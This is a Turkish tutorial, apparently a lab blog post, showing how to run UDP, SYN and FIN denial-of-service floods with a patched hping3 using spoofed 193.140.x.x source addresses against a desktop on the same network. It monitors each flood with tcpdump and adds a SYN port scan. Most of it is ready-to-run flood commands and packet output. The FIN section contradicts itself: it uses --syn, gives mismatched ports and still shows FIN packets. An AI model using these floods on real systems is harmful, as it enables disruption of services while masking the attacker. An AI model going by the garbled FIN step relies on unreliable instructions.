Hping3 ile Dos Yapma ve Tcpdump ile İzleme

(+) Bu yazıdaki testler birebir uygulanmıştır ve başarılı olunmuştur.

Not: Bu yazıda hping3'in yamalı versiyonu kullanılmıştır.

Hping3 normalde paket oluşturma aracıdır. Ancak hping3 tool'unu --flood parametresi ile kullanırsak oluşturduğumuz paketleri olabildiğince hızlı gönder demiş oluruz ve böylece dos saldırısı yapmış oluruz. Şimdi çeşitli paketlerle dos saldırıları düzenleyelim.

a. Hping3 ile UDP Flood Yapma

Laptop'tan desktop PC'ye udp flood saldırısı düzenleyelim. Göndereceğimiz udp paketlerinin source IP'si 193.140.x.x deseninde olsun ve paketlerin gideceği hedef port 53 olsun.

Laptop (Ubuntu):

```
> ./hping3 --rand-pattern-source 193.140.x.x --flood --udp -p 53 172.16.3.134
                                ^                                          ^
                                |                                          |
  Sahte Source IP'ler ======        Hedef Desktop Makinası ==========
```

Output:

HPING 172.16.3.134 (eth0 172.16.3.134): udp mode set, 28 headers + 0 data bytes
hping in flood mode, no replies will be shown

Desktop (Ubuntu):

```
> tcpdump -i enp0s25 -tn udp
```

Output:

…

```
IP 193.140.207.65.12483 > 172.16.3.134.53: [|domain]
IP 193.140.158.113.12509 > 172.16.3.134.53: [|domain]
IP 193.140.160.62.12512 > 172.16.3.134.53: [|domain]
IP 193.140.181.212.12513 > 172.16.3.134.53: [|domain]
IP 193.140.99.0.12514 > 172.16.3.134.53: [|domain]
IP 193.140.181.105.12515 > 172.16.3.134.53: [|domain]
IP 193.140.182.103.12542 > 172.16.3.134.53: [|domain]
IP 193.140.4.250.12543 > 172.16.3.134.53: [|domain]
IP 193.140.132.116.12573 > 172.16.3.134.53: [|domain]
IP 193.140.93.11.12574 > 172.16.3.134.53: [|domain]
IP 193.140.178.110.12575 > 172.16.3.134.53: [|domain]
```

IP 193.140.78.169.12576 > 172.16.3.134.53: [|domain]
IP 193.140.58.251.12579 > 172.16.3.134.53: [|domain]
IP 193.140.97.17.12605 > 172.16.3.134.53: [|domain]
IP 193.140.19.82.12606 > 172.16.3.134.53: [|domain]
IP 193.140.4.41.12607 > 172.16.3.134.53: [|domain]
IP 193.140.165.2.12608 > 172.16.3.134.53: [|domain]
IP 193.140.29.7.12637 > 172.16.3.134.53: [|domain]
IP 193.140.70.89.12638 > 172.16.3.134.53: [|domain]
IP 193.140.106.165.12667 > 172.16.3.134.53: [|domain]
IP 193.140.148.113.12668 > 172.16.3.134.53: [|domain]
IP 193.140.93.2.12680 > 172.16.3.134.53: [|domain]
IP 193.140.76.65.12681 > 172.16.3.134.53: [|domain]
IP 193.140.68.26.12682 > 172.16.3.134.53: [|domain]
IP 193.140.55.186.12683 > 172.16.3.134.53: [|domain]
IP 193.140.76.96.12684 > 172.16.3.134.53: [|domain]
IP 193.140.162.194.12685 > 172.16.3.134.53: [|domain]
IP 193.140.106.27.12686 > 172.16.3.134.53: [|domain]
IP 193.140.221.19.12701 > 172.16.3.134.53: [|domain]
IP 193.140.215.193.12720 > 172.16.3.134.53: [|domain]
IP 193.140.35.251.12721 > 172.16.3.134.53: [|domain]
IP 193.140.176.198.12722 > 172.16.3.134.53: [|domain]
IP 193.140.105.55.12730 > 172.16.3.134.53: [|domain]
IP 193.140.165.115.12777 > 172.16.3.134.53: [|domain]
IP 193.140.26.56.12778 > 172.16.3.134.53: [|domain]
IP 193.140.214.23.12779 > 172.16.3.134.53: [|domain]
IP 193.140.92.12.12780 > 172.16.3.134.53: [|domain]
IP 193.140.176.87.12810 > 172.16.3.134.53: [|domain]
IP 193.140.197.132.12811 > 172.16.3.134.53: [|domain]
IP 193.140.181.123.12826 > 172.16.3.134.53: [|domain]
IP 193.140.82.128.12836 > 172.16.3.134.53: [|domain]
IP 193.140.223.28.12837 > 172.16.3.134.53: [|domain]
…

Masaüstü pc'de tcpdump komutu girildikten sonra sisteme gelen normal udp paketleri ekrana gelirken hping3 tool'u çalıştırıldığında bir anda ekranı hızla 193.140.xx deseninde ip'lerden gelen udp paketleri doldurmuştur. Çıktıdan da görülebileceği üzere kaynak IP'si 193.140.x.x deseninde olan paketler 53ncü portumuza gelmiştirler.

b. Hping3 ile Syn Flood Yapma

Laptop'tan masaüstü PC'ye syn flood saldırısı düzenleyelim. Göndereceğimiz syn paketlerinin source IP'si 193.140.x.x deseninde olsun ve paketlerin gideceği hedef port 55 olsun.

Laptop (Ubuntu):

> ./hping3 --flood --syn -p 55 172.16.3.134 --rand-pattern-source 193.140.x.x

Desktop (Ubuntu):

> tcpdump -i enp0s25 -tn 'tcp[13] & tcp-syn != 0'

Output:

```
IP 193.140.41.199.22053 > 172.16.3.134.55: Flags [S], seq 2062188485, win 512, length 0
IP 193.140.161.195.22059 > 172.16.3.134.55: Flags [S], seq 869466075, win 512, length 0
IP 193.140.146.228.22060 > 172.16.3.134.55: Flags [S], seq 1825063176, win 512, length 0
IP 193.140.69.5.22061 > 172.16.3.134.55: Flags [S], seq 1777850188, win 512, length 0
IP 193.140.209.16.22062 > 172.16.3.134.55: Flags [S], seq 145844699, win 512, length 0
IP 193.140.66.88.22063 > 172.16.3.134.55: Flags [S], seq 1641004086, win 512, length 0
IP 193.140.16.163.22069 > 172.16.3.134.55: Flags [S], seq 390504677, win 512, length 0
IP 193.140.9.164.22080 > 172.16.3.134.55: Flags [S], seq 1008040547, win 512, length 0
IP 193.140.197.207.22094 > 172.16.3.134.55: Flags [S], seq 728327576, win 512, length 0
IP 193.140.242.80.22123 > 172.16.3.134.55: Flags [S], seq 153918576, win 512, length 0
IP 193.140.190.72.22138 > 172.16.3.134.55: Flags [S], seq 1312716596, win 512, length 0
IP 193.140.15.56.22139 > 172.16.3.134.55: Flags [S], seq 1414419537, win 512, length 0
IP 193.140.119.53.22146 > 172.16.3.134.55: Flags [S], seq 2092261174, win 512, length 0
IP 193.140.120.46.22176 > 172.16.3.134.55: Flags [S], seq 1359051656, win 512, length 0
IP 193.140.68.64.22184 > 172.16.3.134.55: Flags [S], seq 475056854, win 512, length 0
IP 193.140.200.226.22185 > 172.16.3.134.55: Flags [S], seq 264540782, win 512, length 0
IP 193.140.196.218.22186 > 172.16.3.134.55: Flags [S], seq 493670053, win 512, length 0
IP 193.140.175.228.22194 > 172.16.3.134.55: Flags [S], seq 1578873503, win 512, length 0
IP 193.140.249.249.22203 > 172.16.3.134.55: Flags [S], seq 1442570489, win 512, length 0
IP 193.140.249.69.22204 > 172.16.3.134.55: Flags [S], seq 911189610, win 512, length 0
IP 193.140.228.17.22205 > 172.16.3.134.55: Flags [S], seq 242218285, win 512, length 0
IP 193.140.173.187.22206 > 172.16.3.134.55: Flags [S], seq 1842196420, win 512, length 0
IP 193.140.83.49.22217 > 172.16.3.134.55: Flags [S], seq 349717068, win 512, length 0
IP 193.140.128.139.22226 > 172.16.3.134.55: Flags [S], seq 549209499, win 512, length 0
IP 193.140.43.200.22228 > 172.16.3.134.55: Flags [S], seq 927399876, win 512, length 0
IP 193.140.41.226.22231 > 172.16.3.134.55: Flags [S], seq 2042946276, win 512, length 0
IP 193.140.127.114.22237 > 172.16.3.134.55: Flags [S], seq 1501583623, win 512, length 0
IP 193.140.174.17.22238 > 172.16.3.134.55: Flags [S], seq 33630617, win 512, length 0
IP 193.140.49.95.22262 > 172.16.3.134.55: Flags [S], seq 1371362904, win 512, length 0
IP 193.140.192.206.22296 > 172.16.3.134.55: Flags [S], seq 1218945438, win 512, length 0
IP 193.140.77.224.22308 > 172.16.3.134.55: Flags [S], seq 1832117766, win 512, length 0
IP 193.140.194.74.22314 > 172.16.3.134.55: Flags [S], seq 815486769, win 512, length 0
IP 193.140.64.89.22325 > 172.16.3.134.55: Flags [S], seq 274879436, win 512, length 0
IP 193.140.233.120.22341 > 172.16.3.134.55: Flags [S], seq 1488008803, win 512, length 0
IP 193.140.29.44.22357 > 172.16.3.134.55: Flags [S], seq 1052529189, win 512, length 0
IP 193.140.94.228.22359 > 172.16.3.134.55: Flags [S], seq 876995605, win 512, length 0
IP 193.140.241.235.22371 > 172.16.3.134.55: Flags [S], seq 1274538751, win 512, length 0
IP 193.140.43.53.22397 > 172.16.3.134.55: Flags [S], seq 55539032, win 512, length 0
IP 193.140.170.53.22401 > 172.16.3.134.55: Flags [S], seq 1596231800, win 512, length 0
IP 193.140.27.66.22403 > 172.16.3.134.55: Flags [S], seq 2000793456, win 512, length 0
```

Görüldüğü üzere kaynak IP'si 193.140.xx deseninde olan Syn paketleri 55nci portumuza gelmiştir.

c. Hping3 ile Fin Flood Yapma

Laptop'tan masaüstü PC'ye syn flood saldırısı düzenleyelim. Göndereceğimiz syn paketlerinin source IP'si 193.140.x.x deseninde olsun ve paketlerin gideceği hedef port 73 olsun.

Laptop (Ubuntu):

> ./hping3 --rand-pattern-source 193.140.x.x --flood --syn -p 71 172.16.3.134

Desktop (Ubuntu):

> tcpdump -i enp0s25 -tn 'tcp[13] & tcp-fin != 0'

Output:

```
IP 193.140.97.49.53775 > 172.16.3.134.71: Flags [F], seq 1544309775, win 512, length 0
IP 193.140.165.52.53803 > 172.16.3.134.71: Flags [F], seq 1268878081, win 512, length 0
IP 193.140.137.21.53804 > 172.16.3.134.71: Flags [F], seq 1503604814, win 512, length 0
IP 193.140.117.99.53805 > 172.16.3.134.71: Flags [F], seq 1776124646, win 512, length 0
IP 193.140.236.174.53829 > 172.16.3.134.71: Flags [F], seq 1275686603, win 512, length 0
IP 193.140.252.54.53830 > 172.16.3.134.71: Flags [F], seq 675262762, win 512, length 0
IP 193.140.83.145.53858 > 172.16.3.134.71: Flags [F], seq 2114381334, win 512, length 0
IP 193.140.143.85.53859 > 172.16.3.134.71: Flags [F], seq 1842356330, win 512, length 0
IP 193.140.108.182.53882 > 172.16.3.134.71: Flags [F], seq 957295379, win 512, length 0
IP 193.140.114.143.53883 > 172.16.3.134.71: Flags [F], seq 641899809, win 512, length 0
IP 193.140.158.172.53908 > 172.16.3.134.71: Flags [F], seq 477903290, win 512, length 0
IP 193.140.11.40.53909 > 172.16.3.134.71: Flags [F], seq 1456611119, win 512, length 0
IP 193.140.11.190.53910 > 172.16.3.134.71: Flags [F], seq 304991553, win 512, length 0
IP 193.140.193.244.53911 > 172.16.3.134.71: Flags [F], seq 468241012, win 512, length 0
IP 193.140.171.237.53912 > 172.16.3.134.71: Flags [F], seq 1580565956, win 512, length 0
IP 193.140.203.1.53938 > 172.16.3.134.71: Flags [F], seq 500526253, win 512, length 0
IP 193.140.76.234.53939 > 172.16.3.134.71: Flags [F], seq 1977037155, win 512, length 0
IP 193.140.183.227.53961 > 172.16.3.134.71: Flags [F], seq 194609602, win 512, length 0
IP 193.140.108.193.53962 > 172.16.3.134.71: Flags [F], seq 432981958, win 512, length 0
IP 193.140.249.242.53963 > 172.16.3.134.71: Flags [F], seq 215932346, win 512, length 0
IP 193.140.97.13.53964 > 172.16.3.134.71: Flags [F], seq 1577291126, win 512, length 0
IP 193.140.80.235.53992 > 172.16.3.134.71: Flags [F], seq 1309601551, win 512, length 0
IP 193.140.164.40.53993 > 172.16.3.134.71: Flags [F], seq 652941122, win 512, length 0
IP 193.140.245.237.54016 > 172.16.3.134.71: Flags [F], seq 152622224, win 512, length 0
IP 193.140.87.4.54017 > 172.16.3.134.71: Flags [F], seq 1652241550, win 512, length 0
IP 193.140.19.180.54018 > 172.16.3.134.71: Flags [F], seq 1570782794, win 512, length 0
IP 193.140.40.68.54045 > 172.16.3.134.71: Flags [F], seq 1809580777, win 512, length 0
IP 193.140.174.40.54071 > 172.16.3.134.71: Flags [F], seq 175188272, win 512, length 0
IP 193.140.56.98.54072 > 172.16.3.134.71: Flags [F], seq 945504080, win 512, length 0
IP 193.140.170.85.54099 > 172.16.3.134.71: Flags [F], seq 776748326, win 512, length 0
IP 193.140.112.142.54123 > 172.16.3.134.71: Flags [F], seq 1763772226, win 512, length 0
IP 193.140.106.65.54124 > 172.16.3.134.71: Flags [F], seq 268568409, win 512, length 0
IP 193.140.181.205.54125 > 172.16.3.134.71: Flags [F], seq 1870202114, win 512, length 0
IP 193.140.159.21.54153 > 172.16.3.134.71: Flags [F], seq 2068282370, win 512, length 0
```

Görüldüğü üzere kaynak IP'si 193.140.xx deseninde olan Fin paketleri 55nci portumuza gelmiştir.

Bu şekilde hping3 tool'unun oluşturabildiği her paketle dos saldırısı düzenleyebiliriz.

Ekstra

a. Hping3 ile Port Taraması Yapma

Laptop (Ubuntu):

```
> ./hping3 -S 172.16.3.134 -p ++20
                              ^
                              |
                             ======================  Port 20'den itibaren artıra
                                                       artıra tüm portları tara
```

Desktop (Ubuntu):

```
> tcpdump -i enp0s25 -tn 'tcp[13] & tcp-syn != 0'
```

Output:

```
IP 172.16.3.113.1222 > 172.16.3.134.20: Flags [S], seq 1036518285, win 512, length 0
IP 172.16.3.113.1223 > 172.16.3.134.21: Flags [S], seq 2118026086, win 512, length 0
IP 172.16.3.113.1224 > 172.16.3.134.22: Flags [S], seq 725999915, win 512, length 0
IP 172.16.3.113.1225 > 172.16.3.134.23: Flags [S], seq 2131961761, win 512, length 0
IP 172.16.3.113.1226 > 172.16.3.134.24: Flags [S], seq 1553262406, win 512, length 0
IP 172.16.3.113.1227 > 172.16.3.134.25: Flags [S], seq 1279084552, win 512, length 0
IP 172.16.3.113.1228 > 172.16.3.134.26: Flags [S], seq 1815687970, win 512, length 0
IP 172.16.3.113.1229 > 172.16.3.134.27: Flags [S], seq 771876914, win 512, length 0
IP 172.16.3.113.1230 > 172.16.3.134.28: Flags [S], seq 1519793928, win 512, length 0
IP 172.16.3.113.1231 > 172.16.3.134.29: Flags [S], seq 319148551, win 512, length 0
IP 172.16.3.113.1232 > 172.16.3.134.30: Flags [S], seq 350166750, win 512, length 0
IP 172.16.3.113.1233 > 172.16.3.134.31: Flags [S], seq 296332765, win 512, length 0
IP 172.16.3.113.1234 > 172.16.3.134.32: Flags [S], seq 1956037143, win 512, length 0
IP 172.16.3.113.1235 > 172.16.3.134.33: Flags [S], seq 2140988260, win 512, length 0
IP 172.16.3.113.1236 > 172.16.3.134.34: Flags [S], seq 1480751483, win 512, length 0
IP 172.16.3.113.1237 > 172.16.3.134.35: Flags [S], seq 1681103578, win 512, length 0
IP 172.16.3.113.1238 > 172.16.3.134.36: Flags [S], seq 510842195, win 512, length 0
IP 172.16.3.113.1239 > 172.16.3.134.37: Flags [S], seq 1334188951, win 512, length 0
IP 172.16.3.113.1240 > 172.16.3.134.38: Flags [S], seq 1440972696, win 512, length 0
IP 172.16.3.113.1241 > 172.16.3.134.39: Flags [S], seq 238985485, win 512, length 0
IP 172.16.3.113.1242 > 172.16.3.134.40: Flags [S], seq 1468508307, win 512, length 0
IP 172.16.3.113.1243 > 172.16.3.134.41: Flags [S], seq 944536532, win 512, length 0
IP 172.16.3.113.1244 > 172.16.3.134.42: Flags [S], seq 1993490788, win 512, length 0
IP 172.16.3.113.1245 > 172.16.3.134.43: Flags [S], seq 1435072113, win 512, length 0
IP 172.16.3.113.1246 > 172.16.3.134.44: Flags [S], seq 1161463182, win 512, length 0
IP 172.16.3.113.1247 > 172.16.3.134.45: Flags [S], seq 1792398572, win 512, length 0
```

IP 172.16.3.113.1248 > 172.16.3.134.**46**: Flags [S], seq 1326909211, win 512, length 0
IP 172.16.3.113.1249 > 172.16.3.134.**47**: Flags [S], seq 856154278, win 512, length 0
IP 172.16.3.113.1250 > 172.16.3.134.**48**: Flags [S], seq 1314405433, win 512, length 0
IP 172.16.3.113.1251 > 172.16.3.134.**49**: Flags [S], seq 1408343378, win 512, length 0
IP 172.16.3.113.1252 > 172.16.3.134.**50**: Flags [S], seq 247760419, win 512, length 0
IP 172.16.3.113.1253 > 172.16.3.134.**51**: Flags [S], seq 1016658489, win 512, length 0
IP 172.16.3.113.1254 > 172.16.3.134.**52**: Flags [S], seq 1538096378, win 512, length 0
IP 172.16.3.113.1255 > 172.16.3.134.**53**: Flags [S], seq 390590354, win 512, length 0
IP 172.16.3.113.1256 > 172.16.3.134.**54**: Flags [S], seq 1853585825, win 512, length 0
IP 172.16.3.113.1257 > 172.16.3.134.**55**: Flags [S], seq 1037894254, win 512, length 0
IP 172.16.3.113.1258 > 172.16.3.134.**56**: Flags [S], seq 1370083841, win 512, length 0
IP 172.16.3.113.1259 > 172.16.3.134.**57**: Flags [S], seq 370875260, win 512, length 0
IP 172.16.3.113.1260 > 172.16.3.134.**58**: Flags [S], seq 959629073, win 512, length 0
IP 172.16.3.113.1261 > 172.16.3.134.**59**: Flags [S], seq 361171913, win 512, length 0
IP 172.16.3.113.1262 > 172.16.3.134.**60**: Flags [S], seq 1042135979, win 512, length 0
IP 172.16.3.113.1263 > 172.16.3.134.**61**: Flags [S], seq 1205204373, win 512, length 0
IP 172.16.3.113.1264 > 172.16.3.134.**62**: Flags [S], seq 1146709860, win 512, length 0
IP 172.16.3.113.1265 > 172.16.3.134.**63**: Flags [S], seq 675205935, win 512, length 0
IP 172.16.3.113.1266 > 172.16.3.134.**64**: Flags [S], seq 1931680859, win 512, length 0
IP 172.16.3.113.1267 > 172.16.3.134.**65**: Flags [S], seq 2101918818, win 512, length 0
IP 172.16.3.113.1268 > 172.16.3.134.**66**: Flags [S], seq 719539742, win 512, length 0
IP 172.16.3.113.1269 > 172.16.3.134.**67**: Flags [S], seq 442869475, win 512, length 0
IP 172.16.3.113.1270 > 172.16.3.134.**68**: Flags [S], seq 458613320, win 512, length 0
IP 172.16.3.113.1271 > 172.16.3.134.**69**: Flags [S], seq 60260326, win 512, length 0
IP 172.16.3.113.1272 > 172.16.3.134.**70**: Flags [S], seq 1634279625, win 512, length 0
IP 172.16.3.113.1273 > 172.16.3.134.**71**: Flags [S], seq 206728582, win 512, length 0
IP 172.16.3.113.1274 > 172.16.3.134.**72**: Flags [S], seq 1017111024, win 512, length 0
IP 172.16.3.113.1275 > 172.16.3.134.**73**: Flags [S], seq 1763950444, win 512, length 0

….

Görüldüğü üzere hedef makinanın port 20'sinden başlanarak artıra artıra tüm portlarına Syn paketi gönderilmiştir.